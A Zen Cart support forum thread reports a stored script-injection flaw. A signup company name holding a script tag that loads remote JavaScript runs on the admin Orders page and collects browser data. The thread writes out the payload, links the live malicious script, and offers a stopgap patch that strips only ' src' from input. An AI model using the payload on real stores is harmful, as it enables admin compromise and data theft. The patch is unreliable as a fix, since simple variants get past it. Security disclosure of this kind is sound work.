Forums / Reports of Security Problems / script injection

script injection

Views: 57

Results 1 to 4 of 4
24 Mar 2024, 11:16 PM
#1
balihr avatar

balihr

Totally Zenned

Join Date:
Oct 2008
Location:
Croatia
Posts:
1,808
Plugin Contributions:
22

script injection

Just confirmed it working on 1.5.8 and 2.0

If you sign up for an account and put your company name as

<script src="//domain.com/some_file.js">/</script>

Whoever this is can also place an order and the "company" name goes to the Orders page as well. Once you access the admin, the js file is silently loaded without you even realizing it on the orders listing page. You can see it as plain text on the Order Details page in the address boxes, but it's actually loaded on the Orders page.

So, at this point, you're loading unknown javascript file from an unknown source. The code I've encountered is malicious and is collecting all sorts of data from the browser which is then being submitted to a remote server.

My quick patch was modifying the zen_db_prepare_input() function:

function zen_db_prepare_input($string, $trimspace = true) {
    if (is_string($string)) {
      if ($trimspace == true) {
        return trim(stripslashes(str_ireplace(' src', '', $string)));
      } else {
        return stripslashes(str_ireplace(' src', '', $string));
      }
    } elseif (is_array($string)) {
      foreach($string as $key => $value) {
        $string[$key] = zen_db_prepare_input($value);
      }
      return $string;
    } else {
      return $string;
    }
  }

I didn't have more time to look into it and find a better solution (which I'm absolutely sure does exist), but so far this seems to be doing the trick.
It gets echoed as

<script=" domain.com="" some_file.js"=""></script=">

The attacker thinks the code has been injected, but it's simply messed up and the incorrect syntax does not execute it in the admin. Hope you folks can come up with a better solution.

My site - Pro ZC Help
My portfolio | My plugins

25 Mar 2024, 8:13 AM
#2
swguy avatar

swguy

Administrator

Join Date:
Feb 2006
Location:
Tampa Bay, Florida
Posts:
10,729
Plugin Contributions:
56

Re: script injection

Thanks. This is being investigated.

That Software Guy. My Store: Zen Cart Support
Available for hire - See my ad in Services
Plugin Moderator, Documentation Curator, Chief Cook and Bottle-Washer.
Do you benefit from Zen Cart? Then please support the project.

25 Mar 2024, 10:57 PM
#3
drbyte avatar

drbyte

Sensei

Join Date:
Jan 2004
Posts:
63,515
Plugin Contributions:
176

Re: script injection

Thanks for the report.

Have you captured a copy of the script being used? I'd like to study what it's doing/collecting.

You could submit it here: https://www.dropbox.com/request/HjFsVo4GMfkrP6wSMxtc

.
Zen Cart - putting the dream of business ownership within reach of anyone!
Donate to: DrByte directly or to the Zen Cart team as a whole

Remember: Any code suggestions you see here are merely suggestions. You assume full responsibility for your use of any such suggestions, including any impact ANY alterations you make to your site may have on your PCI compliance.
Furthermore, any advice you see here about PCI matters is merely an opinion, and should not be relied upon as "official". Official PCI information should be obtained from the PCI Security Council directly or from one of their authorized Assessors.

26 Mar 2024, 6:36 AM
#4
balihr avatar

balihr

Totally Zenned

Join Date:
Oct 2008
Location:
Croatia
Posts:
1,808
Plugin Contributions:
22

Re: script injection

Sure, I got a local copy saved, but the actual URL is still live:

http://a6x.me/s/3

My guess is it's preparing grounds for a phishing attack because they're getting the actual admin URL and they're loading the html to make it look exactly like the original admin, but there could be more to it, dunno.
I've already notified the sites mentioned in that file (there were a few more, looks like the file is changing), haven't had any feedback.

My site - Pro ZC Help
My portfolio | My plugins